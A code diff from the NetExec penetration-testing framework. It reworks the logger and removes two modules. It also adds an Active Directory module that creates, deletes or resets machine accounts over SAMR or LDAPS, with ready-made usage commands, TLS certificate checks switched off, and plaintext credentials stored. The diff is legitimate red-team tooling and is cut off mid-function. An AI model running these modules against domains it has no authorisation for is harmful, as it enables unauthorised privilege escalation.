+                rich_tracebacks=True,
+                tracebacks_show_locals=False
+            )],
+            encoding="utf-8"
         )
         self.logger = logging.getLogger("nxc")
         self.extra = extra
+        self.merge_extra = merge_extra
         self.output_file = None
 
+        logging.getLogger("impacket").disabled = True
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
+        logging.getLogger("dploot").disabled = True
+        logging.getLogger("certipy").disabled = True
+        logging.getLogger("aardwolf").disabled = True
+        logging.getLogger("unicrypto").disabled = True
+        logging.getLogger("asyncio").setLevel(logging.ERROR)
+        logging.getLogger("neo4j").setLevel(logging.ERROR)
+        logging.getLogger("pypsrp").setLevel(logging.ERROR)
 
-    def format(self, msg, *args, **kwargs):  # noqa: A003
+    def format(self, msg, *args, **kwargs):
         """Format msg for output
 
         This is used instead of process() since process() applies to _all_ messages, including debug calls
@@ -41,77 +116,45 @@ class NXCAdapter(logging.LoggerAdapter):
         if self.extra is None:
             return f"{msg}", kwargs
 
-        if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
+        if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
             self.extra["module_name"] = self.extra["module_name"][:8] + "..."
 
         # If the logger is being called when hooking the 'options' module function
         if len(self.extra) == 1 and ("module_name" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
-                kwargs,
-            )
-
-        # If the logger is being called from nxcServer
-        if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
-                kwargs,
-            )
+            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
 
         # If the logger is being called from a protocol
         module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
 
-        return (
-            f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
-            kwargs,
-        )
+        return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
 
+    @no_debug
     def display(self, msg, *args, **kwargs):
         """Display text to console, formatted for nxc"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def success(self, msg, color="green", *args, **kwargs):
-        """Print some sort of success to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
+        """Prints some sort of success to the user"""
         msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def highlight(self, msg, *args, **kwargs):
         """Prints a completely yellow highlighted message to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def fail(self, msg, color="red", *args, **kwargs):
         """Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
         msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
@@ -123,43 +166,34 @@ class NXCAdapter(logging.LoggerAdapter):
         If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
         so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
         """
-        if self.logger.getEffectiveLevel() >= logging.INFO:
-            # will be 0 if it's just the console output, so only do this if we actually have file loggers
-            if len(self.logger.handlers):
-                try:
-                    for handler in self.logger.handlers:
-                        handler.handle(
-                            LogRecord(
-                                "nxc",
-                                20,
-                                "",
-                                kwargs,
-                                msg=text,
-                                args=args,
-                                exc_info=None,
-                            )
-                        )
-                except Exception as e:
-                    self.logger.fail(f"Issue while trying to custom print handler: {e}")
-        else:
-            self.logger.info(text)
+        caller_frame = inspect.currentframe().f_back.f_back.f_back
+        if len(self.logger.handlers):  # will be 0 if it's just the console output, so only do this if we actually have file loggers
+            try:
+                for handler in self.logger.handlers:
+                    handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
+            except Exception as e:
+                self.logger.fail(f"Issue while trying to custom print handler: {e}")
 
     def add_file_log(self, log_file=None):
-        file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
+        file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
         output_file = self.init_log_file() if log_file is None else log_file
         file_creation = False
 
         if not os.path.isfile(output_file):
-            open(output_file, "x")  # noqa: SIM115
+            try:
+                open(output_file, "x")  # noqa: SIM115
+            except FileNotFoundError:
+                print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
+                exit(1)
             file_creation = True
 
-        file_handler = RotatingFileHandler(output_file, maxBytes=100000)
+        file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
 
         with file_handler._open() as f:
             if file_creation:
-                f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
+                f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
             else:
-                f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
+                f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
 
         file_handler.setFormatter(file_formatter)
         self.logger.addHandler(file_handler)
@@ -167,28 +201,15 @@ class NXCAdapter(logging.LoggerAdapter):
 
     @staticmethod
     def init_log_file():
-        newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
-        if not os.path.exists(newpath):
-            os.makedirs(newpath)
+        newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
+        os.makedirs(newpath, exist_ok=True)
         return os.path.join(
-            os.path.expanduser("~/.nxc"),
+            NXC_PATH,
             "logs",
             datetime.now().strftime("%Y-%m-%d"),
             f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
         )
 
 
-class TermEscapeCodeFormatter(logging.Formatter):
-    """A class to strip the escape codes for logging to files"""
-
-    def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
-        super().__init__(fmt, datefmt, style, validate)
-
-    def format(self, record):  # noqa: A003
-        escape_re = re.compile(r"\x1b\[[0-9;]*m")
-        record.msg = re.sub(escape_re, "", str(record.msg))
-        return super().format(record)
-
-
 # initialize the logger for all of nxc - this is imported everywhere
 nxc_logger = NXCAdapter()

nxc/modules/IOXIDResolver.py

@@ -1,42 +0,0 @@
-# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
-# Airbus CERT
-# module by @mpgn_x64
-
-from ipaddress import ip_address
-from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
-from impacket.dcerpc.v5.dcomrt import IObjectExporter
-
-
-class NXCModule:
-    name = "ioxidresolver"
-    description = "This module helps you to identify hosts that have additional active interfaces"
-    supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def options(self, context, module_options):
-        """ """
-
-    def on_login(self, context, connection):
-        authLevel = RPC_C_AUTHN_LEVEL_NONE
-
-        stringBinding = r"ncacn_ip_tcp:%s" % connection.host
-        rpctransport = transport.DCERPCTransportFactory(stringBinding)
-
-        portmap = rpctransport.get_dce_rpc()
-        portmap.set_auth_level(authLevel)
-        portmap.connect()
-
-        objExporter = IObjectExporter(portmap)
-        bindings = objExporter.ServerAlive2()
-
-        context.log.debug("[*] Retrieving network interface of " + connection.host)
-
-        for binding in bindings:
-            NetworkAddr = binding["aNetworkAddr"]
-            try:
-                ip_address(NetworkAddr[:-1])
-                context.log.highlight("Address: " + NetworkAddr)
-            except Exception as e:
-                context.log.debug(e)

nxc/modules/MachineAccountQuota.py

@@ -1,29 +0,0 @@
-
-class NXCModule:
-    """
-    Module by Shutdown and Podalirius
-
-    Initial module:
-      https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
-
-    Authors:
-      Shutdown: @_nwodtuhs
-      Podalirius: @podalirius_
-    """
-
-    def options(self, context, module_options):
-        pass
-
-    name = "MAQ"
-    description = "Retrieves the MachineAccountQuota domain-level attribute"
-    supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def on_login(self, context, connection):
-        result = []
-        context.log.display("Getting the MachineAccountQuota")
-        searchFilter = "(objectClass=*)"
-        attributes = ["ms-DS-MachineAccountQuota"]
-        result = connection.search(searchFilter, attributes)
-        context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])

nxc/modules/adcs.py

@@ -1,6 +1,7 @@
 import re
 from impacket.ldap import ldap, ldapasn1
 from impacket.ldap.ldap import LDAPSearchError
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -13,8 +14,7 @@ class NXCModule:
     name = "adcs"
     description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -27,8 +27,7 @@ class NXCModule:
         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
         BASE_DN            The base domain name for the LDAP query
         """
-        self.context = context
-        self.regex = re.compile("(https?://.+)")
+        self.regex = re.compile(r"(https?://.+)")
 
         self.server = None
         self.base_dn = None
@@ -39,6 +38,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
+        self.context = context
         if self.server is None:
             search_filter = "(objectClass=pKIEnrollmentService)"
         else:
@@ -49,10 +49,10 @@ class NXCModule:
 
         try:
             sc = ldap.SimplePagedResultsControl()
-            base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
+            base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
 
             if self.server is None:
-                connection.ldapConnection.search(
+                connection.ldap_connection.search(
                     searchFilter=search_filter,
                     attributes=[],
                     sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
                     searchBase="CN=Configuration," + base_dn_root,
                 )
             else:
-                connection.ldapConnection.search(
+                connection.ldap_connection.search(
                     searchFilter=search_filter + base_dn_root + ")",
                     attributes=["certificateTemplates"],
                     sizeLimit=0,
@@ -70,7 +70,10 @@ class NXCModule:
                     searchBase="CN=Configuration," + base_dn_root,
                 )
         except LDAPSearchError as e:
-            context.log.fail(f"Obtained unexpected exception: {e}")
+            if "noSuchObject" in str(e):
+                context.log.fail("No ADCS infrastructure found.")
+            else:
+                context.log.fail(f"Obtained unexpected exception: {e}")
 
     def process_servers(self, item):
         """Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""

nxc/modules/add-computer.py

@@ -0,0 +1,269 @@
+import ssl
+import ldap3
+import sys
+from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Module by CyberCelt: @Cyb3rC3lt
+    Initial module:
+        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
+    Thanks to the guys at impacket for the original code
+    """
+
+    name = "add-computer"
+    description = "Adds or deletes a domain computer"
+    supported_protocols = ["smb"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context, module_options):
+        """
+        add-computer: Specify add-computer to call the module using smb
+        NAME: Specify the NAME option to name the Computer to be added
+        PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
+        DELETE: Specify DELETE to remove a Computer
+        CHANGEPW: Specify CHANGEPW to modify a Computer password
+        Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
+               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
+               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
+        """
+        self.__noAdd = False
+        self.__delete = False
+        self.noLDAPRequired = False
+
+        if "DELETE" in module_options:
+            self.__delete = True
+
+        if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
+            context.log.error("NAME  and PASSWORD options are required!")
+            sys.exit(1)
+        elif "CHANGEPW" in module_options:
+            self.__noAdd = True
+
+        if "NAME" in module_options:
+            self.__computerName = module_options["NAME"]
+            if self.__computerName[-1] != "$":
+                self.__computerName += "$"
+        else:
+            context.log.error("NAME option is required!")
+            sys.exit(1)
+
+        if "PASSWORD" in module_options:
+            self.__computerPassword = module_options["PASSWORD"]
+        elif "PASSWORD" not in module_options and not self.__delete:
+            context.log.error("PASSWORD option is required!")
+            sys.exit(1)
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.connection = connection
+        self.__domain = connection.domain
+        self.__domainNetbios = connection.domain
+        self.__kdcHost = connection.kdcHost
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__host = connection.host
+        self.__aesKey = connection.aesKey
+        self.__doKerberos = connection.kerberos
+        self.__nthash = connection.nthash
+        self.__lmhash = connection.lmhash
+
+        # First try to add via SAMR over SMB
+        self.do_samr_add()
+
+        # If SAMR fails now try over LDAPS
+        if not self.noLDAPRequired:
+            self.do_ldaps_add()
+
+    def do_samr_add(self):
+        """Connects to a target server and performs various operations related to adding or deleting machine accounts."""
+        string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
+        string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
+
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.setRemoteHost(self.__host)
+
+        if hasattr(rpc_transport, "set_credentials"):
+            # This method exists only for selected protocol sequences.
+            rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
+
+        rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+        dce = rpc_transport.get_dce_rpc()
+        if self.__doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+
+        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
+        serv_handle = samr_connect_response["ServerHandle"]
+
+        # Get the list of domains
+        samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
+        domains = samr_enum_response["Buffer"]["Buffer"]
+        domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
+        if len(domains_without_builtin) > 1:
+            domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
+            if len(domain) != 1:
+                self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
+                self.context.log.fail("Available domain(s):")
+                for domain in domains:
+                    self.context.log.fail(f" * {domain['Name']}")
+                raise Exception
+            else:
+                selected_domain = domain[0]["Name"]
+        else:
+            selected_domain = domains_without_builtin[0]["Name"]
+
+        domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
+
+        self.context.log.debug(f"Opening domain {selected_domain}...")
+        domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
+
+        # Get handle for existing computer account
+        if self.__noAdd or self.__delete:
+            try:
+                user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
+            except samr.DCERPCSessionError as e:
+                self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
+                if "STATUS_NONE_MAPPED" in str(e):
+                    self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
+                    self.noLDAPRequired = True
+                else:
+                    self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
+                return
+
+            if self.__delete:
+                access = samr.DELETE
+                message = "delete"
+            else:
+                access = samr.USER_FORCE_PASSWORD_CHANGE
+                message = "set the password for"
+            try:
+                user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
+            except samr.DCERPCSessionError as e:
+                self.context.log.debug(f"samrOpenUser failed: {e}")
+                if "STATUS_ACCESS_DENIED" in str(e):
+                    self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
+                    self.noLDAPRequired = True
+                else:
+                    self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
+                return
+        # Add computer account
+        else:
+            try:
+                samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
+                self.noLDAPRequired = True
+                self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
+            except samr.DCERPCSessionError as e:
+                self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
+                if "STATUS_NONE_MAPPED" not in str(e):
+                    self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
+                    return
+            try:
+                user_handle = samr.hSamrCreateUser2InDomain(
+                    dce,
+                    domain_handle,
+                    self.__computerName,
+                    samr.USER_WORKSTATION_TRUST_ACCOUNT,
+                    samr.USER_FORCE_PASSWORD_CHANGE,
+                )["UserHandle"]
+                self.noLDAPRequired = True
+                self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
+                self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
+            except samr.DCERPCSessionError as e:
+                self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
+                if "STATUS_ACCESS_DENIED" in str(e):
+                    self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
+                elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
+                    self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
+                return
+
+        if self.__delete:
+            samr.hSamrDeleteUser(dce, user_handle)
+            self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
+            self.noLDAPRequired = True
+
+            # Removing the machine account in the DB
+            user = self.context.db.get_user(self.__domain, self.__computerName)
+            user_ids = [row[0] for row in user]
+            self.context.db.remove_credentials(user_ids)
+        else:
+            samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
+            if self.__noAdd:
+                self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
+                self.noLDAPRequired = True
+            else:
+                user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
+                user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
+                req = samr.SAMPR_USER_INFO_BUFFER()
+                req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
+                req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
+                samr.hSamrSetInformationUser2(dce, user_handle, req)
+                if not self.noLDAPRequired:
+                    self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
+                self.noLDAPRequired = True
+
+            if user_handle is not None:
+                samr.hSamrCloseHandle(dce, user_handle)
+            if domain_handle is not None:
+                samr.hSamrCloseHandle(dce, domain_handle)
+            if serv_handle is not None:
+                samr.hSamrCloseHandle(dce, serv_handle)
+            dce.disconnect()
+
+            self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
+
+    def do_ldaps_add(self):
+        """Performs an LDAPS add operation."""
+        ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
+
+        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
+        ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
+        c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
+        c.bind()
+
+        sAMAccountName = self.__computerName
+        name = self.__computerName.rstrip("$")
+
+        if self.__delete:
+            result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
+            if result:
+                self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
+            elif result is False and c.last_error == "noSuchObject":
+                self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
+            elif result is False and c.last_error == "insufficientAccessRights":
+                self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
+            else:
+                self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
+        else:
+            spns = [
+                f"HOST/{name}",
+                f"HOST/{name}.{self.connection.domain}",
+                f"RestrictedKrbHost/{name}",
+                f"RestrictedKrbHost/{name}.{self.connection.domain}",
+            ]
+            result = c.add(
+                f"cn={name},cn=Computers,{ldap_domain}",
+                ["top", "person", "organizationalPerson", "user", "computer"],
+                {
+                    "dnsHostName": f"{name}.{self.connection.domain}",
+                    "userAccountControl": 0x1000,
+                    "servicePrincipalName": spns,
+                    "sAMAccountName": sAMAccountName,
+                    "unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
+                }
+            )
+            if result:
+                self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
+                self.context.log.highlight("You can try to verify this with the nxc command:")
+                self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
+            elif result is False and c.last_error == "entryAlreadyExists":
+                self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
+            elif not result:
+                self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
+        c.unbind()

nxc/modules/add_computer.py

@@ -1,305 +0,0 @@
-import ssl
-import ldap3
-from impacket.dcerpc.v5 import samr, epm, transport
-import sys
-
-
-class NXCModule:
-    """
-    Module by CyberCelt: @Cyb3rC3lt
-     Initial module:
-        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
-    Thanks to the guys at impacket for the original code
-    """
-
-    name = "add-computer"
-    description = "Adds or deletes a domain computer"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def options(self, context, module_options):
-        """
-        add-computer: Specify add-computer to call the module using smb
-        NAME: Specify the NAME option to name the Computer to be added
-        PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
-        DELETE: Specify DELETE to remove a Computer
-        CHANGEPW: Specify CHANGEPW to modify a Computer password
-        Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
-               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
-               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
-        """
-        self.__baseDN = None
-        self.__computerGroup = None
-        self.__method = "SAMR"
-        self.__noAdd = False
-        self.__delete = False
-        self.noLDAPRequired = False
-
-        if "DELETE" in module_options:
-            self.__delete = True
-
-        if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
-            context.log.error("NAME  and PASSWORD options are required!")
-        elif "CHANGEPW" in module_options:
-            self.__noAdd = True
-
-        if "NAME" in module_options:
-            self.__computerName = module_options["NAME"]
-            if self.__computerName[-1] != "$":
-                self.__computerName += "$"
-        else:
-            context.log.error("NAME option is required!")
-            sys.exit(1)
-
-        if "PASSWORD" in module_options:
-            self.__computerPassword = module_options["PASSWORD"]
-        elif "PASSWORD" not in module_options and not self.__delete:
-            context.log.error("PASSWORD option is required!")
-            sys.exit(1)
-
-    def on_login(self, context, connection):
-        self.__domain = connection.domain
-        self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.hostname + "." + connection.domain
-        self.__target = self.__kdcHost
-        self.__username = connection.username
-        self.__password = connection.password
-        self.__targetIp = connection.host
-        self.__port = context.smb_server_port
-        self.__aesKey = context.aesKey
-        self.__hashes = context.hash
-        self.__doKerberos = connection.kerberos
-        self.__nthash = ""
-        self.__lmhash = ""
-
-        if context.hash and ":" in context.hash[0]:
-            hashList = context.hash[0].split(":")
-            self.__nthash = hashList[-1]
-            self.__lmhash = hashList[0]
-        elif context.hash and ":" not in context.hash[0]:
-            self.__nthash = context.hash[0]
-            self.__lmhash = "00000000000000000000000000000000"
-
-        # First try to add via SAMR over SMB
-        self.do_samr_add(context)
-
-        # If SAMR fails now try over LDAPS
-        if not self.noLDAPRequired:
-            self.do_ldaps_add(connection, context)
-        else:
-            sys.exit(1)
-
-    def do_samr_add(self, context):
-        """
-        Connects to a target server and performs various operations related to adding or deleting machine accounts.
-
-        Args:
-        ----
-            context (object): The context object.
-
-        Returns:
-        -------
-            None
-        """
-        target = self.__targetIp or self.__target
-        string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
-
-        rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.set_dport(self.__port)
-
-        if self.__targetIp is not None:
-            rpc_transport.setRemoteHost(self.__targetIp)
-            rpc_transport.setRemoteName(self.__target)
-
-        if hasattr(rpc_transport, "set_credentials"):
-            # This method exists only for selected protocol sequences.
-            rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
-
-        rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
-
-        dce = rpc_transport.get_dce_rpc()
-        dce.connect()
-        dce.bind(samr.MSRPC_UUID_SAMR)
-
-        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
-        serv_handle = samr_connect_response["ServerHandle"]
-
-        samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
-        domains = samr_enum_response["Buffer"]["Buffer"]
-        domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
-        if len(domains_without_builtin) > 1:
-            domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
-            if len(domain) != 1:
-                context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
-                context.log.highlight("Available domain(s):")
-                for domain in domains:
-                    context.log.highlight(f" * {domain['Name']}")
-                raise Exception
-            else:
-                selected_domain = domain[0]["Name"]
-        else:
-            selected_domain = domains_without_builtin[0]["Name"]
-
-        samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
-        domain_sid = samr_lookup_domain_response["DomainId"]
-
-        context.log.debug(f"Opening domain {selected_domain}...")
-        samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
-        domain_handle = samr_open_domain_response["DomainHandle"]
-
-        if self.__noAdd or self.__delete:
-            try:
-                check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-            except samr.DCERPCSessionError as e:
-                if e.error_code == 0xC0000073:
-                    context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
-                    self.noLDAPRequired = True
-                context.log.exception(e)
-
-            user_rid = check_for_user["RelativeIds"]["Element"][0]
-            if self.__delete:
-                access = samr.DELETE
-                message = "delete"
-            else:
-                access = samr.USER_FORCE_PASSWORD_CHANGE
-                message = "set the password for"
-            try:
-                open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
-                user_handle = open_user["UserHandle"]
-            except samr.DCERPCSessionError as e:
-                if e.error_code == 0xC0000022:
-                    context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
-                    self.noLDAPRequired = True
-                context.log.exception(e)
-        else:
-            if self.__computerName is not None:
-                try:
-                    samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-                    self.noLDAPRequired = True
-                    context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
-                    sys.exit(1)
-                except samr.DCERPCSessionError as e:
-                    if e.error_code != 0xC0000073:
-                        raise
-            else:
-                found_unused = False
-                while not found_unused:
-                    self.__computerName = self.generateComputerName()
-                    try:
-                        samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
-                    except samr.DCERPCSessionError as e:
-                        if e.error_code == 0xC0000073:
-                            found_unused = True
-                        else:
-                            raise
-            try:
